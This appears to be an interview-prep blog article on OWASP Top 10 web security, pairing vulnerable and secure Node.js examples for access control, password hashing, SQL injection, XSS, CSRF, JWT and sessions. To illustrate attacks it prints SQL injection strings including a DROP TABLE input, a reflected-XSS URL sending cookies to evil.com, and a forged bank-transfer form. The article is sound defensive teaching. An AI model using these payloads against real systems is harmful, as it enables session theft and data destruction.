20 Web Security & OWASP Interview Questions (2026)

·26 min read
By ·Updated
web-securityowaspinterview-questionscybersecuritybackendfrontendinterview-preparation

Security interview answers should show a threat model, a primary control, its failure modes, and defense in depth. Memorizing attack names is not enough: access control, authentication, browser policy, data handling, operations, and incident response all meet at system boundaries.

This guide covers the security concepts that come up in backend and system design interviews, from OWASP Top 10 vulnerabilities to practical prevention techniques.

Table of Contents

  1. OWASP Top 10 Questions
  2. Cross-Site Scripting (XSS) Questions
  3. Cross-Site Request Forgery (CSRF) Questions
  4. JWT Security Questions
  5. Security Headers Questions
  6. Authentication Questions
  7. Security Best Practices Questions

OWASP Top 10 Questions

The OWASP Top 10 is a widely used awareness document. It is data-informed and survey-informed, but it is not a complete verification standard or a replacement for application-specific risk analysis.

What is the OWASP Top 10 and why does it matter?

OWASP (Open Web Application Security Project) is a nonprofit that maintains security standards and tools. Their Top 10 is a regularly updated list of the most critical security risks facing web applications, based on vulnerability data from hundreds of thousands of applications worldwide.

The current release is OWASP Top 10:2025. Use it to start conversations and training, then use requirements such as OWASP ASVS, threat modeling, and risk-based verification to define what a particular application must prove.

The OWASP Top 10 (2025):

  1. Broken Access Control
  2. Security Misconfiguration
  3. Software Supply Chain Failures
  4. Cryptographic Failures
  5. Injection
  6. Insecure Design
  7. Authentication Failures
  8. Software or Data Integrity Failures
  9. Security Logging and Alerting Failures
  10. Mishandling of Exceptional Conditions

What is Broken Access Control and how do you prevent it?

Broken Access Control remains A01 in OWASP Top 10:2025. It occurs when a caller can read or change data or invoke functions outside the permissions intended for that identity, tenant, resource, or workflow. Horizontal and vertical privilege escalation are common forms.

A common pattern is IDOR (Insecure Direct Object Reference), where attackers manipulate identifiers to reach another tenant's or user's resource. Every request needs server-side authorization for the authenticated subject, requested action, resource, tenant, and relevant state—not merely an ownership comparison.

// VULNERABLE: Direct object reference without authorization
app.get('/api/orders/:orderId', async (req, res) => {
  // Only checks authentication, not authorization
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ?',
    [req.params.orderId]
  );
  res.json(order); // Attacker can access any order: /api/orders/1, /api/orders/2...
});
 
// SECURE: Always verify ownership
app.get('/api/orders/:orderId', async (req, res) => {
  const order = await db.query(
    'SELECT * FROM orders WHERE id = ? AND user_id = ?',
    [req.params.orderId, req.user.id]  // Include user_id in query
  );
 
  if (!order) {
    return res.status(404).json({ error: 'Order not found' });
  }
 
  res.json(order);
});
 
// BETTER: Use session context instead of URL parameters
app.get('/api/my/orders', async (req, res) => {
  // User ID comes from authenticated session, not URL
  const orders = await db.query(
    'SELECT * FROM orders WHERE user_id = ?',
    [req.user.id]
  );
  res.json(orders);
});

Key prevention strategies:

  • Enforce access control server-side, never trust the client
  • Deny by default—require explicit permission grants
  • Log access control failures and alert on repeated attempts
  • Use session context instead of user-supplied IDs when possible

How should passwords be stored securely?

Passwords must not be stored in plaintext or as an unsalted fast digest such as MD5, SHA-1, or SHA-256. General-purpose hashes are intentionally fast, while password hashing must make offline guessing expensive and independently salt each credential.

Instead, use dedicated password hashing algorithms designed to be deliberately slow: Argon2id (winner of the Password Hashing Competition), bcrypt, or scrypt. These algorithms include built-in salting and configurable cost factors that can be increased as hardware improves.

const crypto = require('crypto');
 
// NEVER: Plaintext storage
const user = { email, password: plainPassword }; // Immediate breach exposure
 
// NEVER: an unsalted fast digest for password storage
const sha256Digest = crypto.createHash('sha256').update(password).digest('hex');
 
// MD5 is also unsuitable for password storage
const md5Digest = crypto.createHash('md5').update(password).digest('hex');
 
// Legacy-compatible option: benchmark bcrypt and account for its 72-byte limit
const bcrypt = require('bcrypt');
const COST_FACTOR = 12; // Example only; benchmark under peak production load
 
async function hashPasswordWithBcrypt(password) {
  return await bcrypt.hash(password, COST_FACTOR);
}
 
async function verifyPasswordWithBcrypt(password, hash) {
  return await bcrypt.compare(password, hash);
}
 
// Preferred where supported: Argon2id
const argon2 = require('argon2');
 
async function hashPasswordWithArgon2(password) {
  return await argon2.hash(password, {
    type: argon2.argon2id,
    memoryCost: 19456, // KiB: one current OWASP profile
    timeCost: 2,
    parallelism: 1
  });
}
 
async function verifyPasswordWithArgon2(password, hash) {
  return await argon2.verify(hash, password);
}

Store the algorithm and parameters with the hash, benchmark denial-of-service and latency risk, and rehash after successful login when policy changes. A pepper can add defense in depth only if it is kept outside the password database and can be rotated through an explicit recovery plan.

How do you prevent SQL injection?

SQL injection occurs when user input is concatenated directly into SQL queries, allowing attackers to modify the query structure. An attacker could input ' OR '1'='1' -- to bypass authentication or '; DROP TABLE users; -- to destroy data.

The primary defense is parameterized queries, which keep data values separate from SQL syntax. Parameters usually cannot stand in for identifiers, keywords, or sort direction; map those choices through a fixed allowlist. ORMs reduce risk only when you stay on their parameterized APIs—raw SQL, dynamic expressions, and unsafe escape hatches can reintroduce injection.

// VULNERABLE: String concatenation
app.get('/api/users', async (req, res) => {
  const query = `SELECT * FROM users WHERE name = '${req.query.name}'`;
  // Attack: ?name=' OR '1'='1' --
  // Result: SELECT * FROM users WHERE name = '' OR '1'='1' --'
  // Returns ALL users!
 
  const users = await db.query(query);
  res.json(users);
});
 
// VULNERABLE: Even with "sanitization"
const name = req.query.name.replace(/'/g, "''"); // Easily bypassed
 
// SECURE: Parameterized queries (prepared statements)
app.get('/api/users', async (req, res) => {
  const users = await db.query(
    'SELECT * FROM users WHERE name = ?',  // Placeholder
    [req.query.name]  // User input as parameter, never concatenated
  );
  res.json(users);
});
 
// Parameterized ORM query; review raw-query escape hatches separately
const users = await User.findAll({
  where: {
    name: req.query.name  // ORM handles parameterization
  }
});
 
// Document databases still need schema/type validation and operator controls
if (typeof req.query.name !== 'string' || req.query.name.length > 100) {
  return res.status(400).json({ error: 'Invalid name' });
}
const users = await User.find({ name: req.query.name });

Why parameterized queries work:

  • SQL engine parses query structure FIRST
  • User input is then bound as DATA, never executed as code
  • Even '; DROP TABLE users; -- is treated as a literal string

Also use a least-privilege database identity, avoid exposing verbose database errors, validate expected types and lengths, and test every raw-query boundary. Stored procedures are not automatically safe if they construct dynamic SQL internally.


Cross-Site Scripting (XSS) Questions

XSS vulnerabilities allow attackers to inject malicious scripts into pages viewed by other users.

What are the three types of XSS attacks?

Cross-Site Scripting (XSS) comes in three forms, each with different attack vectors and persistence characteristics. Reflected XSS embeds the attack in a URL and requires the victim to click a malicious link. Stored XSS saves the attack in the database where it affects all users who view the content. DOM-based XSS manipulates the page entirely client-side without server involvement.

These labels describe where untrusted data reaches an executable browser context. The defense is determined by the output context—HTML text, attribute, URL, CSS, or JavaScript—not merely by whether the payload was reflected, stored, or DOM-based.

// 1. REFLECTED XSS - Attack in URL, reflected in response
// URL: example.com/search?q=<script>document.location='http://evil.com/steal?c='+document.cookie</script>
 
app.get('/search', (req, res) => {
  // VULNERABLE: User input directly in HTML
  res.send(`<h1>Results for: ${req.query.q}</h1>`);
});
 
// 2. STORED XSS - Attack saved in database, shown to all users
app.post('/comments', async (req, res) => {
  // VULNERABLE: Malicious comment stored and shown to everyone
  await db.saveComment(req.body.comment);
  // If comment is "<script>stealCookies()</script>", every viewer is attacked
});
 
// 3. DOM-BASED XSS - Attack in client-side JavaScript
// VULNERABLE: URL fragment or query used unsafely
document.getElementById('output').innerHTML = location.hash.substring(1);
// URL: example.com#<img src=x onerror=alert('XSS') />

How do you prevent XSS attacks?

Use a template or framework that performs contextual output encoding, keep untrusted data in text sinks such as textContent, validate URLs, and sanitize HTML with a maintained allowlist sanitizer only when rich HTML is a real requirement. Encoding for HTML text is not interchangeable with encoding for an attribute, URL, CSS, or JavaScript context.

Modern frameworks like React, Vue, and Angular provide automatic output encoding, but developers must understand when they're bypassing these protections (like React's dangerouslySetInnerHTML) and ensure they never use these escape hatches with user input.

// Use an auto-escaping template engine for HTML text context
app.get('/search', (req, res) => {
  res.render('search', { query: req.query.q });
});
 
// Use a safe text sink instead of parsing HTML
document.getElementById('output').textContent = userInput; // Safe
 
// If rich HTML is required, sanitize with a maintained library and policy
const cleanHtml = DOMPurify.sanitize(untrustedHtml);
 
// React, Vue, and Angular encode normal text bindings
// React automatically escapes:
function Comment({ text }) {
  return <p>{text}</p>;  // <script> becomes &lt;script&gt;
}
 
// DANGER: dangerouslySetInnerHTML bypasses protection
<div dangerouslySetInnerHTML={{ __html: cleanHtml }} />

A strict nonce- or hash-based CSP is an additional containment layer. Roll it out with Content-Security-Policy-Report-Only, modern reporting, and tests before enforcement; a source allowlist alone is often bypassable, and CSP does not repair unsafe application logic.


Cross-Site Request Forgery (CSRF) Questions

CSRF attacks trick authenticated users into performing unwanted actions on sites where they're logged in.

What is CSRF and how does it work?

Cross-Site Request Forgery (CSRF) abuses ambient browser credentials. Subject to cookie scope and SameSite, the browser may attach a session cookie to a request triggered by another site. If the server treats possession of that cookie as proof of user intent, an attacker can cause a state change.

The key insight is that CSRF attacks don't steal data (the Same-Origin Policy prevents reading the response)—they perform actions. An attacker can't see your balance, but they can initiate a transfer. This makes CSRF particularly dangerous for any state-changing operations.

<!-- ATTACK SCENARIO -->
<!-- User is logged into bank.com -->
<!-- Attacker's page (evil.com) contains: -->
<img src="https://bank.com/transfer?to=attacker&amount=10000" />
<!-- Or hidden form that auto-submits: -->
<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="10000" />
</form>
<script>document.getElementById('csrf').submit();</script>
<!-- If cookie policy allows it and the endpoint lacks CSRF controls, the action may run. -->

How do you prevent CSRF attacks?

For cookie-authenticated browser requests, use the CSRF protection maintained by your framework or a maintained library. Stateful applications can use a synchronizer token; stateless designs can use a session-bound, HMAC-signed double-submit token. Compare tokens safely and never put a state change behind GET.

SameSite is useful defense in depth, but “site” is broader than origin and can include sibling subdomains. Most deployments should combine it with a token or exact Origin/Referer validation. Fetch Metadata such as Sec-Fetch-Site can reject obvious cross-site requests, with a fallback for clients that do not send it.

app.use(session({
  name: '__Host-session',
  secret: process.env.SESSION_SECRET,
  cookie: {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
  }
}));
 
const SAFE_METHODS = new Set(['GET', 'HEAD', 'OPTIONS']);
const ALLOWED_ORIGINS = new Set([
  'https://bank.example',
  'https://www.bank.example',
]);
 
function protectStateChange(req, res, next) {
  if (SAFE_METHODS.has(req.method)) return next();
 
  if (req.get('Sec-Fetch-Site') === 'cross-site') {
    return res.sendStatus(403);
  }
 
  const source = req.get('Origin') ?? req.get('Referer');
  let sourceOrigin;
  try {
    sourceOrigin = new URL(source).origin;
  } catch {
    return res.sendStatus(403);
  }
 
  if (!ALLOWED_ORIGINS.has(sourceOrigin)) return res.sendStatus(403);
 
  // Supplied by maintained middleware: validate a synchronizer token or
  // session-bound signed double-submit token as the primary control.
  if (!verifyCsrfToken(req)) return res.sendStatus(403);
 
  next();
}

SameSite cookie values:

  • Strict withholds the cookie in cross-site contexts, including ordinary inbound links.
  • Lax permits cookies on qualifying top-level safe navigations but withholds them on typical cross-site subrequests and unsafe methods.
  • None permits cross-site use and requires Secure; it needs an explicit CSRF design.

What is the difference between XSS and CSRF?

XSS and CSRF are often confused but exploit trust in opposite directions. XSS exploits the trust a user has in a website—the user believes scripts on the page are legitimate. CSRF exploits the trust a website has in the user's browser—the server believes requests with valid cookies are intentional.

XSS executes code in the application's origin and can read accessible data or act as the user. A classic CSRF attack causes the browser to send an authenticated request; the Same-Origin Policy usually prevents the attacker page from reading the response, but the state change can still succeed. XSS can often bypass CSRF controls by obtaining tokens or issuing same-origin requests.

AspectXSSCSRF
Trust exploitedUser trusts websiteWebsite trusts browser
Attack vectorInjected malicious scriptForged request from another site
Can read same-origin dataYes, subject to controls such as HttpOnlyUsually no in a classic attack because of SOP
Can perform actionsYesYes
PreventionOutput encoding, CSPCSRF tokens, SameSite cookies

JWT Security Questions

JWTs are widely used for authentication but have several security pitfalls that interviewers commonly ask about.

What are the security considerations for JWT tokens?

JWT is a token format, not an authentication or authorization strategy. A signed JWT provides integrity/authenticity for its claims but not confidentiality; the payload is encoded, not encrypted. Choose sessions or tokens from the architecture's revocation, audience, delegation, and operational requirements rather than assuming “stateless” is safer.

Pin the expected algorithm and trusted issuer/key configuration, validate signature plus iss, aud, exp, nbf, token type and application claims, and apply clock-skew deliberately. Do not trust a jwk, jku, x5u, or kid from the unverified header as a new trust source. Plan key rotation, token replay controls, revocation/denylisting where needed, and short lifetimes appropriate to the risk.

// JWT Structure: header.payload.signature
// eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
// eyJ1c2VySWQiOjEyMywicm9sZSI6ImFkbWluIn0.
// signature
 
const jwt = require('jsonwebtoken');
 
function verifyToken(token) {
  return jwt.verify(token, process.env.JWT_SECRET, {
    algorithms: ['HS256'],
    issuer: 'https://issuer.example',
    audience: 'orders-api',
    clockTolerance: 5,
  });
}
 
// Do not put confidential data in an ordinary signed JWT
jwt.sign({
  userId: 123,
  password: 'hash',
  ssn: '123-45-6789'
}, secret);
 
// Provision signing keys through a secret/key-management system.
// Do not generate a new production key independently on each process start.

Where should JWT tokens be stored in web applications?

OWASP advises against storing session IDs, access tokens, refresh tokens, or JWTs in localStorage or sessionStorage: any script executing in the origin can read them, and persistence widens exposure. For browser applications, prefer an opaque server-side session or a Backend-for-Frontend with a Secure, HttpOnly, appropriately SameSite cookie.

HttpOnly prevents JavaScript from reading the cookie, but it does not make the application immune to XSS: injected code can still issue authenticated same-origin requests. Cookie authentication also needs a CSRF design. Native applications should use platform secure storage and an appropriate OAuth/OIDC flow rather than copying browser storage advice.

// VULNERABILITY 5: Token stored in localStorage
localStorage.setItem('token', jwt);  // XSS can steal it
 
// DEFENSE: Use httpOnly cookies for web apps
res.cookie('token', jwt, {
  httpOnly: true,
  secure: true,
  sameSite: 'lax',
  path: '/',
  maxAge: 900000
});
 
// Complete secure implementation
function createToken(user) {
  return jwt.sign(
    {
      sub: user.id,
      role: user.role,
      // No sensitive data!
    },
    process.env.JWT_SECRET,
    {
      algorithm: 'HS256',
      expiresIn: '15m',
      issuer: 'your-app',
      audience: 'your-app-users',
    }
  );
}
 
function verifyToken(token) {
  try {
    return jwt.verify(token, process.env.JWT_SECRET, {
      algorithms: ['HS256'],
      issuer: 'your-app',
      audience: 'your-app-users',
      clockTolerance: 5,
    });
  } catch (error) {
    if (error.name === 'TokenExpiredError') {
      throw new Error('Token expired');
    }
    throw new Error('Invalid token');
  }
}

Security Headers Questions

Security headers provide defense-in-depth by instructing browsers how to handle your content.

What security headers should a web application consider?

Security headers are response policies enforced by supporting browsers. The correct set depends on whether a response renders active content, may be framed, uses cross-origin resources, or handles sensitive data. Start from maintained framework defaults, then test an application-specific policy.

For HTML, a strict CSP can reduce XSS impact; frame-ancestors controls embedding, X-Content-Type-Options: nosniff limits MIME sniffing, Referrer-Policy controls referrer disclosure, and Permissions-Policy limits selected features. HSTS instructs browsers to use HTTPS after receiving the header over HTTPS, but includeSubDomains and preload require operational readiness for every covered host.

const helmet = require('helmet');
 
// Start with maintained defaults, then customize and test per application
app.use(helmet({
  contentSecurityPolicy: {
    directives: {
      defaultSrc: ["'self'"],
      scriptSrc: ["'self'"],
      styleSrc: ["'self'"],
      imgSrc: ["'self'", "data:", "https:"],
      connectSrc: ["'self'", "https://api.yourapp.com"],
      objectSrc: ["'none'"],
      frameAncestors: ["'none'"],
      baseUri: ["'none'"],
    },
  },
  hsts: {
    maxAge: 63072000,
    includeSubDomains: false, // Enable only after auditing all subdomains
    preload: false,
  },
}));

A nonce- or hash-based CSP is stronger than a broad hostname allowlist for script execution. First deploy a report-only policy, triage violations without logging sensitive URLs or payloads, then enforce it. API JSON responses do not benefit from every browser document header.

What does each security header prevent?

Each security header addresses a specific attack vector. Understanding what each header prevents helps you prioritize implementation and troubleshoot when legitimate functionality is blocked.

CSP reduces the impact of script injection but does not replace output encoding or sanitization. HSTS reduces downgrade opportunities only after a compliant browser learns the policy (unless preloaded). CSP frame-ancestors is the modern framing control; X-Frame-Options remains a compatibility layer for older clients.

HeaderAttack PreventedRecommended Value
Content-Security-PolicyLimits script/resource execution and framingStrict nonce/hash policy tailored to the app
Strict-Transport-SecurityHTTPS downgrade after policy is learnedLong max-age after rollout validation
CSP frame-ancestorsClickjacking/unauthorized framing'none' or explicit trusted origins
X-Frame-OptionsLegacy framing compatibilityDENY or SAMEORIGIN
X-Content-Type-OptionsMIME confusionnosniff
Referrer-PolicyInformation leakagestrict-origin-when-cross-origin
Permissions-PolicyUnauthorized feature accessDisable unused features

Authentication Questions

Secure authentication is the foundation of application security.

How do you implement secure authentication?

Prefer a maintained identity provider or framework authentication stack over a custom protocol. Support phishing-resistant MFA/passkeys where appropriate, protect enrollment and recovery as carefully as login, hash passwords with the approved adaptive algorithm, and reauthenticate for sensitive changes.

Password policy should favor length and a breached/common-password blocklist, allow password-manager paste and all characters, avoid composition rules and arbitrary periodic rotation, and never silently truncate. Use generic external responses for login, registration, and recovery; align status codes and timing paths enough to reduce account enumeration without promising impossible perfectly constant network timing.

const PASSWORD_POLICY = {
  minLength: 15, // Example for password-only auth; define from current policy
  maxLength: 128,
};
 
// Precomputed with the same algorithm and cost as real hashes.
const DUMMY_PASSWORD_HASH = process.env.DUMMY_PASSWORD_HASH;
 
async function login(email, password) {
  const normalizedEmail = normalizeEmail(email);
  await authThrottle.check({ account: normalizedEmail, requestIp });
 
  const user = await users.findByEmail(normalizedEmail);
  const hash = user?.passwordHash ?? DUMMY_PASSWORD_HASH;
  const valid = await passwordHasher.verify(hash, password);
 
  if (!valid || !user) {
    await authThrottle.recordFailure({ account: normalizedEmail, requestIp });
    throw new Error('Invalid email or password');
  }
 
  await authThrottle.recordSuccess({ account: normalizedEmail, requestIp });
  return sessions.createAndRotate(user.id);
}

How do you implement secure session management?

Use the session implementation provided by a maintained framework. The identifier must be meaningless, unique, and generated by a CSPRNG with at least 128 bits of entropy. Send it only in a narrowly scoped Secure, HttpOnly, intentional SameSite cookie; do not accept it in URLs.

Rotate the identifier after authentication and every privilege change to prevent fixation. Enforce server-side idle and absolute timeouts, revoke on logout and credential/risk events, invalidate other sessions when policy requires it, and protect the session store. IP address and User-Agent changes may be risk signals, but hard binding breaks legitimate mobile/proxy traffic and is not reliable proof of identity.

app.use(session({
  name: '__Host-session',
  secret: process.env.SESSION_SECRET,
  store: durableSessionStore,
  resave: false,
  saveUninitialized: false,
  cookie: {
    secure: true,
    httpOnly: true,
    sameSite: 'lax',
    path: '/',
  },
}));
 
// Regenerate on authentication/privilege change; handle store errors.
req.session.regenerate((error) => {
  if (error) return next(error);
  req.session.userId = user.id;
  req.session.authenticatedAt = Date.now();
  req.session.save(next);
});

How do you implement rate limiting for authentication?

Throttle by account and by network/device signals: IP-only limits miss distributed attacks, while account-only lockout can be abused for denial of service. Choose thresholds from the threat model and legitimate traffic, use progressive delays or bounded lockout, return generic responses, alert on attacks, and offer a safe recovery path. MFA and breached-password screening address risks that throttling alone cannot.

Counters must be atomic and shared by all application instances, with bounded retention. Fixed window, sliding window, token bucket, and leaky bucket each have burst and cost trade-offs; no algorithm is universally required.

async function checkLoginThrottle({ email, ip }) {
  const accountKey = hmacIdentifier(normalizeEmail(email));
  const [account, network] = await Promise.all([
    limiter.consume(`login:account:${accountKey}`),
    limiter.consume(`login:network:${trustedClientIp(ip)}`),
  ]);
 
  if (!account.allowed || !network.allowed) {
    throw new Error('Unable to sign in'); // same external shape as other failures
  }
}

Security Best Practices Questions

Interviewers often ask about security review processes and how you approach security in practice.

What should a secure coding checklist include?

A secure coding checklist ensures consistent security practices across a development team. It should cover input validation, authentication, session management, access control, data protection, and security headers. The checklist serves as both a development guide and a code review tool.

Use a checklist as a baseline tied to the system's threat model and verification evidence, not as proof that the application is secure. OWASP ASVS can supply testable requirements; risk determines depth and priority.

Input Validation:

  • All user input validated on server (never trust client)
  • Allowlist expected types, ranges, lengths, and formats where feasible
  • Input length limits enforced
  • File uploads validated (type, size, content)

Authentication:

  • Passwords hashed with an approved, benchmarked adaptive algorithm
  • MFA/passkeys and secure enrollment/recovery based on risk
  • Account and network-aware throttling without easy lockout DoS
  • Secure password reset flow

Session Management:

  • Session tokens are random and unpredictable
  • Session timeout implemented (idle and absolute)
  • Session invalidated on logout
  • Secure cookie flags set (HttpOnly, Secure, SameSite)

Access Control:

  • Authorization checked on every request
  • Principle of least privilege applied
  • Direct object references validated

Data Protection:

  • Data classified and protected at rest according to its threat model
  • Current, centrally managed TLS policy for data in transit
  • Sensitive data not logged
  • Proper key management

Security Headers:

  • CSP tailored and tested for HTML responses
  • HSTS enabled only after HTTPS/subdomain readiness
  • CSP frame-ancestors with legacy X-Frame-Options if needed
  • X-Content-Type-Options: nosniff

How would you handle discovering a security vulnerability in production?

Activate the incident-response process and establish an incident lead, secure communication channel, timeline, and evidence handling. Assess exploitability, exposure, affected identities/data, business impact, and active exploitation; CVSS can inform technical severity but cannot replace environment-specific impact.

Contain safely, preserve forensic evidence, patch or mitigate, revoke sessions/keys and rotate secrets when their exposure is plausible, hunt for indicators, and verify both the fix and blast radius. Coordinate legal, privacy, communications, customers, vendors, and regulators according to obligations. Do not publish exploit details before containment.

Response process:

  1. Triage and scope - Validate the report, classify data/assets, and assess active exploitation
  2. Contain and preserve - Isolate or mitigate while retaining evidence and an auditable timeline
  3. Eradicate and recover - Patch, rotate/revoke, deploy, and monitor for recurrence
  4. Notify and coordinate - Follow contractual, legal, privacy, vendor, and customer duties
  5. Learn - Run a blameless review and improve preventive, detective, and response controls

How would you secure a REST API?

Securing a REST API requires multiple layers of protection: authentication to verify identity, authorization to control access, input validation to prevent injection, rate limiting to prevent abuse, and comprehensive logging for detection and forensics.

For sensitive operations, consider additional verification like re-authentication or step-up authentication. Always assume the network is hostile and encrypt all traffic with TLS.

Security layers for REST APIs:

  • Authentication - JWT or OAuth 2.0 with short-lived tokens
  • Authorization - Check permissions on every endpoint
  • Input validation - Strict schemas, reject unexpected fields
  • Rate limiting - Per user and per IP
  • HTTPS enforcement - Redirect HTTP to HTTPS, use HSTS
  • Browser boundaries - Deliberate CORS allowlist, CSRF controls, and relevant response headers
  • Logging - Log security events, monitor for anomalies
  • Dependency updates - Regular scanning and patching

What are common security red flags in code reviews?

During code reviews, watch for patterns that indicate security vulnerabilities. String concatenation in SQL queries suggests injection risks. User input rendered without encoding suggests XSS. Missing authorization checks suggest access control issues.

Also look for security anti-patterns: reversible password storage, fast unsalted password digests, secrets in code, and commented-out security checks. Judge cryptographic primitives in context and against the organization's current approved profile rather than banning a name without understanding its use.

Red flags to catch in code reviews:

  • String concatenation in queries (SQL injection)
  • innerHTML or dangerouslySetInnerHTML with user input (XSS)
  • Missing authorization checks on endpoints
  • Passwords "encrypted" instead of hashed
  • Fast general-purpose hashes used directly for password storage
  • Secrets or credentials in code
  • eval() or similar with any external input
  • Missing abuse controls on authentication and recovery endpoints
  • Enumerating responses such as "email exists" or "invalid password"
  • Client-side only validation

Quick Reference

OWASP Top 10 (2025) Summary:

RankCategoryPrimary Prevention
A01Broken Access ControlServer-side authorization, deny by default
A02Security MisconfigurationSecure baselines, hardening, configuration tests
A03Software Supply Chain FailuresProvenance, dependency governance, build isolation
A04Cryptographic FailuresApproved primitives, key lifecycle, data classification
A05InjectionParameterized APIs, contextual encoding, safe interpreters
A06Insecure DesignThreat modeling, abuse cases, secure design patterns
A07Authentication FailuresMFA/passkeys, throttling, secure recovery and sessions
A08Software or Data Integrity FailuresVerify provenance/signatures and protect pipelines
A09Security Logging and Alerting FailuresActionable logs, detection, alerting, response tests
A10Mishandling of Exceptional ConditionsFail secure, handle errors and resource limits

Key prevention techniques:

  • XSS → Contextual encoding/safe sinks/sanitization + strict CSP defense in depth
  • CSRF → Maintained token/origin validation + SameSite defense in depth
  • SQL Injection → Parameterized queries
  • Broken Access Control → Server-side authorization on every request
  • Password Storage → Tuned Argon2id or an approved fallback with salts and rehashing

Frequently Asked Questions

What is the OWASP Top 10?

The OWASP Top 10 is an awareness document, not a complete security standard or universal risk ranking. The 2025 edition lists Broken Access Control, Security Misconfiguration, Software Supply Chain Failures, Cryptographic Failures, Injection, Insecure Design, Authentication Failures, Software or Data Integrity Failures, Security Logging and Alerting Failures, and Mishandling of Exceptional Conditions.

What is the difference between XSS and CSRF?

XSS executes attacker-controlled code in the application's origin, so it can read accessible data and act as the user. CSRF causes a browser to send an authenticated request from another site; the attacker usually cannot read the response because of the Same-Origin Policy, but the action can succeed. Prevent XSS with contextual encoding, safe sinks and sanitization; prevent CSRF with tokens or origin checks plus SameSite defense in depth.

How do you prevent SQL injection?

Use parameterized queries for every data value and never build SQL syntax from untrusted strings. Parameters normally cannot represent identifiers or sort directions, so map those choices through a fixed allowlist. ORMs help only when their parameterized APIs are used; raw-query and expression escape hatches remain risky. Add least-privilege database roles and validation as defense in depth.

What is Content Security Policy (CSP)?

Content Security Policy is a browser-enforced response policy that restricts where resources may load and which scripts may execute. A strict nonce- or hash-based policy can reduce the impact of XSS, but CSP is defense in depth, not a substitute for contextual output encoding, safe DOM APIs, HTML sanitization, or dependency controls. Deploy with reporting and test each application policy.

How should passwords be stored securely?

Hash passwords with a maintained password-hashing library and a unique salt. OWASP recommends Argon2id with a supported memory/time/parallelism profile; use scrypt if Argon2id is unavailable, bcrypt mainly for legacy systems with a work factor of at least 10 and its 72-byte limit handled, or PBKDF2 for applicable FIPS requirements. Benchmark parameters on your deployment and plan rehashing.

What is the Same-Origin Policy?

The Same-Origin Policy restricts scripts from one origin from reading or interacting with resources from another; an origin is generally the scheme, host, and port tuple. It does not stop every cross-origin request from being sent, which is why CSRF exists. CORS response headers can let browsers expose selected cross-origin responses to scripts, but CORS is not authentication or a CSRF defense.


Sources


Ready to ace your interview?

Get 550+ interview questions with detailed answers in our comprehensive PDF guides.

View PDF Guides